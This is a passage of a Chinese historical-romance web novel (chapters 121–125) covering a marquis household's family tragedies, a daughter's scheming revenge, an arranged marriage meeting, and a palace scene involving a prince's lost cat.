先前他和晏逐星闲聊的一幕,恐怕也被他看到了。
谢翊宁笑容灿烂地晃了晃手中的栗子,算是跟他打了招呼。
裴明镜握着手中有些焦黑的栗子,一言不发。
一旁的子平偷偷看了自家大人一眼。
他就说了吧,那位晏大小姐怎么可能一碗水不端平,给他家大人送了,肯定也会给永安王送的。
很快,雪路就被挖通了。
停云重新上了马车。
他看着炒的香喷喷的栗子,忍不住咽了咽口水。
谢翊宁看到他的目光,将栗子默不作声地挪到了离自己最近的位置。
停云:“……”
谢翊宁吩咐道:“待会入京了,你再去街上买些糖炒栗子,让大家都尝尝。”
停云无奈应声:“是。”
两刻钟后,一行人顺利抵达京城。
“裴大人,都入京了,就不需要本王送你了吧?”谢翊宁看向了裴明镜。
“多谢王爷护送,微臣感激涕零。”裴明镜没有再跟着他们,他得速速将“定慈观一案”整理好汇报给皇上。
“多谢王爷……”晏逐星也正准备告辞,就听到谢翊宁打断了她的话。
“送佛送到西,本王答应了定远侯捎你一程,自然该将你送回侯府再走。”
“那就劳烦王爷了。”晏逐星没再拒绝。
抵达定远侯府时,管家林平正急匆匆地领着一个大夫回府。
“林管家,可是府中出什么事了?”晏逐星赶忙叫住了他。
林平瞧见晏逐星,瞪大了眼睛:“大小姐,您怎么回来了?”
而后又看到了一旁的永安王府马车,赶忙又冲谢翊宁的方向行了一礼。
“小的见过王爷。”
“究竟出什么事了?”晏逐星十分好奇,林管家神色匆匆请来大夫,是给谁治病。
林管家有些为难地看了谢翊宁一眼,支支吾吾道:“老爷因为夫人和大少爷去世,病倒了。”
晏逐星觉得不太对劲。
按照定远侯那么惜命的性子,病了怎么可能不请太医,反倒去请一个大夫。
莫不是装病?
但看林管家的神色,这个时候恐怕也问不出什么东西来。
她便没有拦着他:“既是如此,你快将大夫领进府吧。”
“诶。”林管家松了一口气,赶忙把人带了进去。
晏逐星看向了谢翊宁。
“王爷,侯府如今正值丧期,诸事纷乱,不便请王爷入内奉茶,还请王爷海涵。”
“嗯,你回吧。”谢翊宁自然不会怪罪她,果断地就走了。
晏逐星命人将她的行李搬回玉澜院,正好换件衣裳,再去拜见定远侯。
“小姐,您可算回来了。”瞧见她,衔蝉和九栀都高兴地迎了上来。
晏逐星笑着让双鲤把在通州买的特产都拿出来给他们分了。
而后询问衔蝉:“府里究竟发生了什么事,侯爷得了什么病?”
“侯爷没病,是被舅老爷打的。”衔蝉一句话让双鲤瞪大了眼睛。
“侯爷挨打了?”她兴冲冲地凑了过来,特产也不分了。
衔蝉把事情的来龙去脉说了一遍。
“舅老爷是今日清晨抵达的,刚来就得知大少爷也没了,气得把侯爷给揍了一顿。侯爷如今鼻青脸肿着呢。”
晏逐星恍然大悟。
怪不得定远侯没让请太医,是怕这事传出去丢脸啊。
太医哪有大夫好威胁。
晏逐星更衣结束,将衔蝉和双鲤支走,只留下了九栀。
她问出了自己最关心的问题:“晏明远究竟是怎么死的?”
按照她的计划,晏明远不该死得那么早呀。
第121章 晏明远之死
“您离开的第二日,大少爷就去推了阮姨娘,害得她腹中的孩子差点没了。侯爷一怒之下,请了家法,抽了他三十下,后来又让他去祠堂闭门思过。”
九栀将事情娓娓道来。
晏明远被关到祠堂之后对定远侯彻底失望了,竟然生出了弑父的念头。
他命小厮将李氏找来,以他继承侯府后保住李氏一家荣华富贵为由,说服了李氏替他买来桐油。
他要纵火,将定远侯骗到祠堂来,烧死。
李氏深知夫人死了,她的命肯定也保不住,于是决定铤而走险,听晏明远的赌一把。
除夕当天采买送礼的车来来往往,因而李氏买来桐油并没有被发现。
将祠堂洒上桐油后,堆上易燃之物后,晏明远让心腹小厮去把定远侯请来。
定远侯想到今夜除夕,晏明远又是他唯一的儿子,还是决定去见他一面,和他一块吃一顿团圆饭。
不曾想,进到祠堂后,定远侯就闻到了桐油的气味。
他正疑惑着,李氏就从背后举着木棒偷袭他,想要将他打晕。
但定远侯到底是习武之人,虽然疏于练习,但躲闪一个妇人的攻击还是没问题的。
李氏为了晏明远画的大饼,发了疯的去殴打定远侯,喊着要为夫人报仇。
定远侯当即叫人进屋把李氏给抓起来,没想到,晏明远的心腹却早早地把门给锁上了。
大怒之下,定远侯把李氏给踹翻了。
晏明远直接点燃了地上的桐油,趁着李氏和定远侯没反应过来,就往窗户外爬,打算逃出去后锁死窗户,让定远侯和李氏都烧死在里边。
李氏没想到晏明远竟然出尔反尔,将她单独留下,立刻扑了过去想要留下他。
晏明远本就受了伤,跑得慢,李氏这一扑,两人全都栽到了火里。
这时定远侯的人也破门而入,将他救了出去。
定远侯对晏明远彻底心寒,直接命人抢救祠堂里的祖宗排位,晏明远直接被忽视了。
然而火势汹汹,最后祠堂没保住,晏明远和李氏也葬身于火海。
晏逐星听完目瞪口呆。
她完全没有料到事情会是这个走向。
看来母亲和弟弟的死,刺激了晏明远。
而她说的那些话,还有阮寄薇演的那出戏都让晏明远越来越崩溃。
定远侯请的家法则成了压垮他的最后一根稻草。
他扛不住了,想要弑父求一条活路。
冲动之下,做了一个很仓促的决定,最后活活将自己给烧死了。
“那温家来的是谁,又是怎么和定远侯打起来了?”晏逐星好奇地追问。
“来的是温家三老爷,温如珲。”九栀一字不落地将事情汇报。
温如珲抵达定远侯府后,得知不仅妹妹死了,两个外甥都死了,当即就控制不住把定远侯给揍了一顿。
就算定远侯解释温如霜之死是因为晏逐星生父生母找来,她畏罪自杀;晏明远是因为纵火烧祠堂自作自受;晏明修是被昭瑞亲王府害死的也没用。
因为温如珲压根就不信。
他心里就认定了定远侯杀妻灭子。
得知只有温如珲一人来了,晏逐星心下稍安。
如今她的仇人只剩定远侯一人,倒是不必着急。
先留他一命,让他把温家人应付走了再说。
之后再找一个好机会,让他到地底下跟其他人团聚。
一家人嘛,最重要的就是整整齐齐啦。
晏逐星起身去了正院。
路上,她酝酿好了情绪,刚一看到定远侯,眼泪就哗啦啦地往下落。
“父亲,您怎么伤得如此严重?”
瞧见晏逐星这副担心的模样,定远侯心里勉强有了几分慰藉。
短短几个月,他竟然不知不觉地就走到了家破人亡的地步。
晏家究竟得罪了什么人,落得如此下场。
“无妨,你怎么回来了?”定远侯有些疑惑。
他并没有派人去接她呀。
“裴大人昨日去通州查案,告诉我大哥没了。”晏逐星继续抹眼泪。
“我既担心又害怕。二妹妹和二哥才走没多久,母亲又病逝了,如今大哥竟然也身故离去,父亲您哪里承受得了这样的打击。”
“我心急如焚。因而今日便跟着永安王还有裴大人的马车,一块回来了。”
“好孩子,你有心了。”听到她这番话,定远侯老怀安慰。
“不过大年初一,裴明镜去通州查什么案子?”
定远侯嘀咕了起来。
不会是发现他找来的关家夫妇是冒牌货了吧。
晏逐星便把定慈观的案子模糊了一些情节告诉了他,着重强调了昭瑞亲王府让明妄用邪术害定远侯府家破人亡的事情。
“您说,咱们家接二连三出了那么多事,会不会真跟那些邪术有关?父亲,下一个不会是您吧。”
晏逐星一句话让定远侯猛地从床上爬了起来。
“欺人太甚,实在是欺人太甚啊!我要去告御状,告到皇上面前去!”
他一瞬间就信了晏逐星的话,将侯府这些日子来出的人命,全都算到了谢清安和明妄的头上。
毕竟,让别人来承担错误,总比自己去背罪名的好。
“可十六之前,皇上都不上朝呀。”晏逐星提醒。
定远侯也想起了这事。
大虞的年假是从大年二十九放到正月十六。
除了特别紧急的案子,还有皇上喜爱的臣子,一般人这段时间都见不到皇上。
偏偏他两个都不占。
尤其是他如今家中尚在孝期,就更不能入宫了。
定远侯气得咬牙切齿,琢磨着该怎么告状,偏偏这时候温如珲还找过来在院子里大吼大叫。
“晏逐星,滚出来。”
晏逐星听到这话,有些惊讶。
怎么还有她的事?
她没惹他吧?
见屋子里没人应声,温如珲又怒吼:“若不是你从中挑拨,明远又怎么会死,你给我滚出来以死谢罪。”
晏逐星恍然大悟。
原来是因为这个呀。
她可怜巴巴地看向了定远侯:“父亲,我刚回家,还不曾见过温家小舅舅。他怎么就要对我喊打喊杀了?”
“难不成如今定远侯府已经是温家舅舅做主了?”
这话戳中了定远侯内心深处最敏感的地方,他当即大怒:“怎么可能。我还没死呢。”
他立刻命长随将护卫叫来,晏逐星搀扶着他出了门。
“温如珲,你先前揍了我,我可以体谅你失去妹妹一时情难自禁,可如今,你凭什么让我女儿以死谢罪?”定远侯有护卫在一旁护着,骂人的气势更足了。
“我问过明远的小厮了,明远去推你那个姨娘之前,单独见了这个贱人。若不是她挑拨离间,明远怎么可能犯下那样的错。”温如珲看着晏逐星的眼神几乎要喷火。
来之前,大嫂和韫儿就已经嘱咐过他了。
晏逐星可不是一个省油的灯,要他务必留心这个小丫头,不要着了他的道。
因而先前他拷问晏明远小厮时,着重问了晏明远与晏逐星之间是否发生了什么。
得知晏明远给晏逐星送行时两人单独聊过一会儿,晏逐星走后晏明远就变得神思恍惚。
温如珲顿时将一切都怪到了晏逐星头上。
他坚信,一定是晏逐星说了什么,不然晏明远好端端的,怎么会去攻击一个姨娘。
“晏鸿升,她害死了你儿子。一个养女,一个亲子,孰轻孰重,难道你分不清吗?”温如珲厉声质问。
定远侯如今最害怕提起的就是晏明远的死。
毕竟晏明远是他故意让人没有施救,放任他被烧死的。
午夜梦回,他梦里总会听到晏明远在叫救命。
“住嘴!明远的死与星儿无关,一切都是昭瑞亲王府的错!你若有本事,便找他们报仇去!”定远侯将矛头对准了谢锦程一家。
他把晏逐星告诉她的,明妄与昭瑞亲王府的交易说了出来。
温如珲听到这话,心里怒火烧得愈发旺盛。
“你休要胡说!你为了给这个死丫头脱罪,真是什么话都能说出来。”他压根不信鬼邪秘术之言。
“舅舅若不信,可以去问裴明镜裴大人,此事是他查出来的。”一旁的晏逐星终于开口说了第一句话。
不得不说,裴明镜的名声还挺好。
听到是他查出来的,温如珲竟然信了几分。
“你最好说的是真的。若我查出你和明远的死有什么关系,我要你给他偿命。”温如珲沉着脸离开。
他上午打定远侯泄愤还情有可原,如今却不能再来一次。
他要给大哥写信,让大哥快点来京城。
想到惨死的妹妹和外甥,温如珲攥紧了拳头。
他一走,定远侯就看向了晏逐星。
“星儿,那日你大哥给你送行,你究竟说了什么让他那样魂不守舍,第二日就去找了阮姨娘的麻烦?”
他的目光里,带着审视与探究。
晏逐星张口就来:“大哥质问我,母亲刚刚去世,我就离开侯府去跟亲生父母一块过年,我还有没有良心。”
说到这,她抽泣了起来。
“我说我都听父亲安排,若父亲让我留下,我就留下,父亲让我回家,我就回家。毕竟父亲才是侯府当家做主的人。”
这句话很好的取悦了定远侯。
“那他又怎会魂不守舍?”他虽然还在追问,但语气已经和善了几分。
“大哥不停地数落我,我没忍住就跟他顶嘴了。我说……”晏逐星吞吞吐吐,故意卖关子。
“说什么?”
“我说,有本事你当上了侯府的主人再来管教我,我现在就听父亲的。说完我就走了。父亲,我真不是故意的,我只是当时太生气了,我没想到大哥会去伤害阮姨娘肚子里的弟弟。”晏逐星故意示弱,哗哗的流着眼泪。
定远侯这下完全相信了她。
“嗯,不怪你,是你大哥心思狭隘。”
晏逐星回府第一关,总算是过了。
*
裴明镜回到京城,并未第一时间回国公府,而是去了京兆府。
他要将这事完整的梳理好,呈到御案之上。
忙活到了太阳落下,他才回国公府。
刚回到家,就母亲的丫鬟给请到正院去了,说有要事相商。
窦淑荣坐在椅子上,手里绞着帕子,一颗心七上八下的。
儿子太有主见也不是什么好事。
也不知道待会说的事,他能不能同意。
第122章 没那么清白
“母亲寻我何事?”裴明镜面无表情地询问。
自打上回他将母亲安排的小厮遣送走后,母子二人之间就多了一抹若有似无的隔阂。
窦淑容一阵心酸。
她挤出一抹笑:“我儿辛苦了,快快歇下。如今大年初二,文武百官都在休息,怎么就你那么忙呀。来,尝尝,娘命人做了煨鹿筋和炖鹿脯,特意给你留着呢。”
而后赶紧示意丫鬟将温热的饭菜端上来。
裴明镜没有拒绝母亲的好意,坐下用饭。
窦淑容松了一口气,笑呵呵地陪他一块用膳。
她早早就吃过了,如今不过是尝几筷子就放下了。
她观察着裴明镜的神色,见他心情似乎还不错,开口道:“明镜,你也二十有一了,翻过年去,就要二十二了,也该成家了。”
裴明镜夹着菜的筷子一顿,眉头微皱:“不急。”
“怎么不急。你看看景王,比你大一岁,如今孩子都会走路了。你不急,娘也急呀。”一说到这,窦淑容就急了。
原本她是想慢慢挑的。
但晏逐星的出现,让她产生了危机感。
生怕儿子真把那个丧门星给娶回家。
“我如今没有成家的打算,您不必着急。”裴明镜想着堆在案几上的那些悬案,压根没心思成婚。
“你是没有成家的打算,还是心里有人不愿让我给你相看!”窦淑容的怒火一瞬间就压不住了。
裴明镜放下了筷子,皱眉看向她:“母亲说的什么话。我心里能有什么人?”
“那个小狐狸精,在京城勾引你还不够,去了通州,还让你眼巴巴地追上去,她到底有哪里好的?!”窦淑容提起这事就气炸了。
儿子昨日大年初一就急着出城,说是去通州查案,结果晏逐星就在通州。
今日更是他们一块回的京城。
光是想象一下晏逐星嫁到国公府之后的猖狂样子,窦淑容心里就怄得要死。
窦淑容斩钉截铁地开口:“总而言之,你娶谁都行,就是不能娶晏逐星。”
“母亲您在胡说什么,我们之间分明清清……”裴明镜可没想到母亲竟然还把他和晏逐星联想到一块。
脑海里一瞬间闪过晏逐星杀人,而他选择替她隐瞒的场景。
他忽然觉得他们之间好像又没那么清白了。
他倒是又一次替她徇私了。
见他说到一半说不下去,窦淑容气得猛地一拍桌子。
“我不管,你若敢娶她,我就死给你看。”
裴明镜被母亲放出来的狠话给震住了。
见他不说话,窦淑容哭出了声:“你是独子,绵延子嗣是你的职责。你怎么能迟迟不成婚呢!”
“你若成婚有了后,我也算对得起你死去的父亲,对得起裴家的列祖列宗了。”
“日后,你忙你的案子,娘在家含饴弄孙,也算有个盼头呀。”
听她提起亡父,裴明镜沉默了。
窦淑容见他有所松动,再接再厉:“福安郡主去岁及笄一直没有定下人家,我请陈夫人探了探朝华大长公主的口风,大长公主对你十分满意。过两日你随我一块进宫给太后请安,顺便见见福安郡主。”
“太后许久未见你,惦记得很。你若对福安郡主不满意,也可以请太后她老人家替你做主。”
最后这句话,窦淑容说得不情不愿的。
太后选的儿媳妇,她是一个都不满意。
那些人日后只会讨好太后,哪里会把她这个婆母放在心上。
“一切都听您的安排吧。”裴明镜放弃了和母亲争辩。
就像母亲说的,他也是时候该成婚了。
为裴家传宗接代,是他身为嫡子的职责。
他没办法逃避。
“明镜,你别生娘的气……”见他答应,窦淑容放软了语调,摆低姿态哄人。
但裴明镜却不给她机会。
“母亲,我累了。我要歇息了。”裴明镜说完起身就离开了。
窦淑容知道他不高兴,但也没有放在心上。
儿子每回都这样,但他从来不会真的生她的气,反正过几天他自己就会调整好了。
她现在只想着过两日和福安郡主相看的事情。
也不知道,福安郡主好不好生养,能不能听话。
想到这,窦淑容就有些烦躁。
若不是京城里门当户对的小姑娘都嫁了人,她也不会考虑福安郡主。
福安郡主李柔嘉可是朝华大长公主的掌上明珠,自小就是娇生惯养着长大的。若是她语气重了些,恐怕福安郡主就要回娘家告状了。
不过福安郡主的祖父李崇简乃是当世大儒,桃李满天下,他的门生遍布朝堂。
与他们结亲,对儿子只有好处没有坏处。
想到这,窦淑容又觉得这门亲事也不是不行。
再说了,上回见面,福安郡主看起来也是个乖巧柔顺、规规矩矩的,嫁过来应该不会闹腾出什么事情……
翌日。
裴明镜入宫将定慈观一案仔细汇报给了文昭帝。
文昭帝勃然大怒,竟然还有这样的事情,当即下令整顿大虞朝的寺庙和道观。
若再发现这样的事情,格杀勿论。
至于勾搭邪道的谢清安,步了儿子的后尘,也被贬为了庶人。
待到昭瑞亲王逝世后,他们全家就得搬出王府了。
定远侯得知此事,恨不得放几串鞭炮庆祝。
他找到温如珲,露出了悲伤的表情:“二舅兄,你都听说了吧,就是他们找人做局,害了我的夫人和孩子,我和他们势不两立。你可别被人挑拨了,恨错了人呀。”
“我去找裴明镜问过了,谢清安只是找了明妄做法毁了明修的魂魄,但做法害人之事,还未来得及开始就被发现了。你休想撇清害死如霜和明远的责任!”温如珲压根没被他的话带偏。
两人再次不欢而散。
温如珲要守着妹妹的尸体等兄长来了再下葬,定远侯则声称要让温如霜早日入土为安。
两人争执不下,谁也说服不了谁。
定远侯又不好强行安葬温如霜,还不能赶走温如珲,气得一肚子的气,整日阴沉着一张脸,侯府上上下下胆战心惊。
直到一道圣旨,打破了侯府的暴风雨之下的宁静。
第123章 晏逐星入宫
“皇上有旨,请晏大姑娘入宫。”
听到圣旨,晏逐星有些懵。
皇上让她进宫做什么?
直到宣读完圣旨,晏逐星才恍然大悟。
原来是为了“定慈观”的案子呀。
但旋即她又有些疑惑,裴明镜不是把所有事情都呈报上去了么,还问她做什么。
难不成裴明镜还是把她杀人的事情抖露到皇上面前了?
不止她疑惑,定远侯和温如珲也很疑惑。
但是当着他们的面,晏逐星没有表现出来。
她淡定地让衔蝉替她更衣,而后领着她一块进宫了。
定远侯一肚子的话想问,但又不敢耽误她进宫,只得咽了回去,打算等她回来了再问。
有衔蝉跟在身边,晏逐星没那么紧张了。
她原以为要在御书房外等候皇上的召见,没想到,掌事公公直接将她领去了未央宫。
文昭帝和崔皇后,正端坐在椅子上满脸笑意。
晏逐星不敢放松警惕,规规矩矩地行了一礼。
“臣女参见皇上,参见皇后娘娘。”
“不必多礼,快快坐吧。”崔皇后笑容越发和善。
“上回冰嬉宴一别,本宫还想召你入宫陪我说说话来着,只可惜你家中忽然遭难,不方便叫你入宫。可叫本宫惦记了许久。”
“关于定慈观的案件,皇上今日正好有事要问你,本宫便央求了皇上,让你到未央宫来说,你不必紧张。”
原来如此。
晏逐星恍然大悟。
“能得娘娘记挂,是臣女的福分。”她规规矩矩地回答,丝毫不漏半点错处。
“不必拘束,就当是与家中长辈闲谈。坐吧。”文昭帝也开口示意她坐下。
晏逐星这才谢恩,落座。
崔皇后轻轻用手指捅了文昭帝的腰一下,文昭帝轻咳两声,想起了正事,赶忙道:“你给朕说说,那日究竟发生了什么,永安王为何会出现在通州?”
晏逐星一瞬间有些发懵,永安王可是他们的儿子,他为什么去通州,难道不该是他们这当父母的更清楚吗。
但她没敢多嘴,循着记忆把谢翊宁那日说的话转达了出来。
“王爷听闻通州有一妖道要用邪术害皇上,所以亲自前去查探。此事祸乱朝纲,必须要严查。”
文昭帝和崔皇后对视一眼,都忍不住在心底“啧”了一声。
小石头什么时候这么热衷于政事了,分明是为了找借口去见这位晏大姑娘。
晏逐星不敢乱看,一直低头喝茶,生怕触怒了天底下最尊贵的两个人。
“然后呢?去了之后,他和你说了什么呀。听说你们还是一块回京的?”崔皇后等不及皇上发问,自己就问了起来。
“没说什么,王爷问的都是案件有关。”晏逐星生怕他们误会,赶忙强调。
“臣女并未与王爷单独相处,都是有裴大人在的,护卫丫鬟们也都在一旁伺候着,说的都是案情。”
“这样啊。”崔皇后的声音听起来似乎有些遗憾。
晏逐星不知道她的遗憾从何而来。
“小石头也真是的……”崔皇后无奈地看向皇上。
儿子不开窍,眼前的小姑娘似乎也没开窍。
“母后,您又在说儿臣什么坏话呢。”谢翊宁的声音从殿外传来。
晏逐星扭头望去,瞧见他怀里抱了一只雪白的猫,赶忙行礼。
“参见王爷。”
“不必多礼,晏大小姐可否替我照看一会雪团儿,陪她到御花园玩一会儿吧。”谢翊宁瞧见了她眼里的好奇,将猫递给了她。
“好。”晏逐星正想抱一抱这乖巧的猫儿,毫不犹豫地答应了下来。
她小心翼翼地接过雪团儿,这猫没有乱动,乖巧得很,蹭了蹭她,而后自己在她怀里找了个舒服的姿势窝成一团,打起了呼噜,看起来十分喜欢她的样子。
晏逐星又惊又喜地看向谢翊宁。
谢翊宁揉了揉小猫的脑袋,笑道:“这小东西乖得很,不必担心她伤着你。”
晏逐星一扭头,就瞧见了皇上和皇后笑眯眯的看着她和谢翊宁。
她有些不解,但还是乖巧地抱着猫行礼告退:“皇上,皇后娘娘,臣女就先替王爷照顾雪团儿去了。”
“去吧去吧。”崔皇后笑着让她离开了,还拨了两个宫女到外边照看她。
晏逐星一走,谢翊宁就板着脸看着帝后二人。
“好端端的,父皇母后,你们把她叫到宫里来做什么?”
“怎么,朕还不能召见一个小丫头来陪朕聊聊天了?”文昭帝故意逗弄小儿子。
“不是,父皇,你一个都快年过半百的老头和人家小姑娘有什么话好聊的。”谢翊宁狐疑地盯着父皇。
总觉得他肯定怀有别的心思。
文昭帝没好气地伸手敲了一下他的脑袋。
“也就是你了,换个人敢说朕是老头子,脑袋都要落地了。”
“才不会呢。父皇是明君,是仁君,怎么会做那种暴君行径。”谢翊宁嬉皮笑脸地凑到了他们身边,主动给他们剥桌上的核桃。
“你呀,就仗着你父皇宠你吧。”崔皇后抿唇一笑,捏了捏他的耳朵。
“不然呢。父皇母后宠我疼我,这不是全天下都知道的事情么。和我的亲爹还搞那些虚伪客套的场面话,那我成什么人了。”谢翊宁振振有词。
文昭帝最喜欢的就是小儿子拿他当寻常父亲一样对待的态度。
旁的儿子见了他,总是恭敬有余,亲昵不足。
因而他就愈发偏袒这个小儿子了。
“是是是,就会说好听的哄父皇。”嘴上带着责怪,但文昭帝的嘴角却怎么也压不下去。
“我说的句句属实,才不是在哄您呢。”谢翊宁说着,话音一转,“先前晏家大小姐跟你们说什么了,怎么你们一个个都眉开眼笑的。”
文昭帝和崔皇后再次对视,都忍不住笑了起来。
说半天,还是要套他们的话呀。
“没说什么,就是定慈观的案子,裴爱卿似乎有些地方说得不够清楚,朕就找这小丫头来问问。”文昭帝笑着回答。
“听说你为了父皇,连夜出城奔赴通州查案,父皇十分欣慰啊。”
谢翊宁脸不红心不跳道:“那不是应该的嘛。父皇对我好,有事情威胁到父皇,我当然要第一时间去彻查啦。”
“是吗,我还以为你是为了那小丫头去的呢。”文昭帝故意点出了晏逐星的事情。
“就是就是,你莫不是看上人家了,所以才千里追过去。”崔皇后也忍不住添了一把柴。
不开窍的两个人,她愁啊。
第124章 嫁你不行么
“母后瞎说,京城到通州哪有千里。”
见皇后瞪他,谢翊宁不再抖机灵赶忙摇头认真否认:“母后,话可不能乱说啊。事关姑娘家的清誉,您这么胡说,她日后还怎么嫁人。”
“嫁你不行么。”崔皇后没好气地看了儿子一眼。
“你不是说她是你的救命恩人么,你娶她报恩不是正好?”
谢翊宁还是摇头。
虽然国师说他已经死过一次,死劫已过,但他还是想等及冠之后再考虑成婚的事情。
距离他及冠还有两年。
万一国师搞错了呢,他及冠之后还得死,那不就耽误了人家姑娘么。
他一本正经道:“母后,报恩也不能将我整个人搭上去啊。再说了,报恩给银钱给地位多好,娶人家算哪门子的报恩。”
而后他看向了文昭帝。
“父皇,这回定慈观破案,晏大姑娘功不可没,她可是斩杀了嫌犯呢。您要不论功行赏,赏她一个郡主当当,顺便帮儿臣报个恩,您看如何?”
文昭帝:……
崔皇后:……
儿子就知道从他们这捞好东西送人家小姑娘!!!
上回从她这捞了首饰布匹犹嫌不足,现在还惦记上郡主之位了。
要不是他们调查过小姑娘,知晓她对石头压根没有男女之情,都要误会是她故意怂恿石头来邀功的了。
“去去去,滚出宫去!瞧见你就心烦。”崔皇后没好气地挥手驱赶他,“随随便便就给人封个郡主,你是生怕那些言官御史不参你父皇一本,是不是?”
她扶着额头,一脸无奈与烦躁。
指望这儿子,她这辈子怕是都别想有儿媳了。
“好吧,那儿臣麻溜地滚了。”谢翊宁不羁地行了一礼,潇洒地准备去御花园接猫打道回府。
走到殿门口了,他忽然又折回头看向文昭帝。
“父皇,真不能给个郡主之位么?实在不行,县主也可以的呀。”
这下文昭帝也被他给气笑了,将手边的核桃壳砸了过来。
“混小子,你要报恩,怎么不给人家王妃之位。郡主不过一品,你的王妃可是超品。”
谢翊宁讨要郡主封号失败,立刻捂着耳朵大步流星地离开了。
离开的背影,大大的写着“我不听”三个字。
文昭帝和崔皇后同时叹气,无奈极了。
谢翊宁才不管他们怎么说呢,反正没真的过了二十岁,他是坚决不会考虑娶妻生子的。
平白无故误了别人终身,那不是报恩,那是恩将仇报。
他正往御花园走,就看到了眉头紧皱的晏逐星正在寻找什么。
而原本被她抱在怀里的雪团儿,还有她的丫鬟以及母后给的两个宫女,都不见了。
“王爷,对不起,雪团儿走丢了。”晏逐星瞧见他,快步上前道歉。
她们四个人,竟然没看住一个猫儿。
“先别急,你慢慢说,怎么一回事?”谢翊宁沉声询问。
晏逐星没想到他第一时间竟然没有责骂他。
心下涌起一阵说不清道不明的情绪。
以前,在定远侯府的时候,即便不是她的错,他们也不会给她解释的机会,只会不分青红皂白地怪罪她。
晏逐星收回思绪,冷静回答:“先前到御花园,雪团儿想下来走走,我怕她跑丢,就没让她下来。但她一挣扎,挠破了我的衣裳,我便还是将她放到了地上。”
“衔蝉随我去更衣,雪团儿交给了司音和妙檀照看。等我回来时雪团儿就不见了。”
“根据司音所言,雪团儿是瞧见了另一只猫所以好奇地追了上去。他们没追上,似乎朝长乐宫的方向跑去了。”
“妙檀已经去长乐宫寻猫,我也让司音去请宫人来帮忙寻找雪团儿了。我正和衔蝉分头在她刚刚跑过的地方寻找。”
事情已经发生,晏逐星只得尽力去挽救。
“此事怪不到你头上。”谢翊宁立刻叫来了其他宫人,让他们去寻找雪团儿。
见晏逐星依旧眉头紧锁,一脸凝重,他安慰道:“不必太担心,雪团儿看起来胖乎,其实只是毛很多罢了,她身手很矫健的。寻常人奈何不了她的。”
原本有些郁闷的晏逐星听到这话,还是没忍住翘起了唇角。
不是胖嘟嘟,只是毛很多。
见她笑了,谢翊宁继续道:“再说了,宫里谁不知道雪团儿是父皇赏给我的猫。没人敢动她的。”
听他这么说,晏逐星也渐渐放下心来。
她重重点头:“嗯,雪团儿肯定不会有事的。”
*
长乐宫。
裴明镜正跟着母亲入宫探望太后,没过多久,朝华大长公主也带着福安郡主来了。
太后对这门婚事乐见其成,因而极力地撮合两人。
没一会儿,裴明镜就被支使着陪福安郡主到殿外转转。
他们一走,屋内就只剩了太后、朝华大长公主以及窦淑容。
“淑容,你觉得福安如何?”太后笑着看向窦淑容。
“福安郡主也很好,模样端方,进退有度。性子贞静柔顺,言谈举止间自有大家风范。我满意得不得了。”窦淑容笑着应下。
太后满意地点点头,而后又笑眯眯地看向朝华大长公主:“朝华,你觉得明镜如何?”
“明镜自然是极好的。”朝华大长公主脸上也露出满意的神色。
虽说裴明镜比女儿年长六岁,但男人年纪大些不是坏事,更懂得疼人。
更何况裴明镜才貌俱全,绝非酒囊饭袋,与那些耽于享乐的纨绔子弟截然不同,哪哪都合她的心意。
唯独就是他这个母亲,为人苛刻,上不得台面。
因而话她得说在前头。
“只是吧,福安自小被我娇养着长大,那种日日都要晨昏定省的活计是做不来的。”她看向窦淑容,意有所指。
窦淑容笑容一僵,淡淡道:“为人儿媳和为人女儿时,自然大不相同。福安郡主天真可爱,我甚是喜欢,恨不得日日见到她。”
朝华长公主听到这话,脸色顿时变了。
所以窦淑容竟然不愿在这上边让步,非要她女儿去遵守她的那些破规矩?
没想到,窦淑容话锋一转:“不过嘛,总归要给小两口相处的时间,不然我怎么抱孙子。因而晨昏定省这种事嘛,每逢初一十五来一次就好。”
这话让朝华大长公主满意多了。
一个月两次,想必女儿也能接受的。
紧接着,她又提出了许多要求,窦淑容都咬牙一一答应了下来。
屋内几人维持着相谈甚欢的迹象,而屋外的裴明镜和福安郡主,却是尴尬地沉默着。
福安郡主试图和裴明镜多说几句话,但裴明镜却像个闷葫芦一般,她问一句,他就答一句。
福安郡主有些气恼。
她自小是被捧着长大的,哪里受过这样的气。
但母亲提醒过她了,不管什时候,在外一定要将端庄的模样给立住了,绝不能损害了郡主的名声。
因而她一直保持着乖巧的笑与裴明镜闲谈。
“啊,哪来的猫儿!”
一声惊呼响起。
福安郡主吓了一跳,顺着声音望去,就看到一只雪白的猫儿冲她扑来。
她惊慌失措地转身,结果不小心踩到了猫儿的尾巴。
猫儿尖叫着伸出利爪抓向她,她惊慌着后退跌到了裴明镜的怀抱当中。
丫鬟汀兰见到这一幕,当即大吼道:“哪来的野猫,惊着我们郡主了,赶紧打死!”
第125章 打死后分尸
福安郡主跌到裴明镜怀里时,他立刻闪身躲开,单手固定住了她,避免了大面积的身体接触。
只是这个动作让福安郡主略显狼狈,差点没站稳摔个狗吃屎。
见她的丫鬟迎上来,裴明镜立刻撒手,将她往丫鬟怀里送。
福安郡主磨了磨后槽牙。
先前受到的惊吓瞬间被愤怒所取代。
至于么,她有那么让人嫌弃么?
她咬着唇,死死地盯着裴明镜。
见他听到汀兰说要打死猫时,脸上浮现出不赞同,她赶忙柔柔地开口:“汀兰,我只是被稍微吓到了,怎的就要打死这猫了呢。”
她站定了身子,往前一步,想要靠近那只猫,露出了温柔的笑:“瞧瞧她,多可爱呀。”
但猫却炸毛退后好几步,还冲她呲牙哈气。
“郡主当心,莫要靠近这猫了,省得被咬到。”汀兰赶忙拦住她。
裴明镜淡淡道:“这猫养得这般好,一看就不是野猫,许是宫中贵人养的猫。”
“裴大人言之有理,这多半是宫中的娘娘们养来解闷的。可不能吓着了。”福安郡主浅浅一笑,给宫女使了个眼色。
“小心安抚这只猫儿,待会看看是哪个娘娘丢了猫,咱们给她送回去。可别让人家等急了。”
“是。”汀兰看着福安郡主的笑,毛骨悚然。
每次郡主这么笑,就要有东西倒霉了。
没一会儿,四五个宫女就围住了猫,用吃食将她骗到了笼子里。
裴明镜没有再关心这事。
今日相看他已经呆得够久了,该走了。
“微臣还有公务在身,先告辞了。”说完便回了屋内,与太后和大长公主辞行。
“这大过年的,哪来那么多公务。”窦淑容急了。
以为儿子是没看上福安郡主,想快点离开。
“案件堆积众多,我早日查清,也能早日还那些百姓公道。”裴明镜铁了心要走。
太后笑道:“你这孩子,就是心善。罢了罢了,你且去吧。”
朝华大长公主也点了点头:“公务要紧,就不耽误你的事了。待到日后成婚了,可就不能一心醉心公务,总得花时间陪陪夫人孩子。”
裴明镜沉默了一瞬,点头应下:“大长公主说的是。”
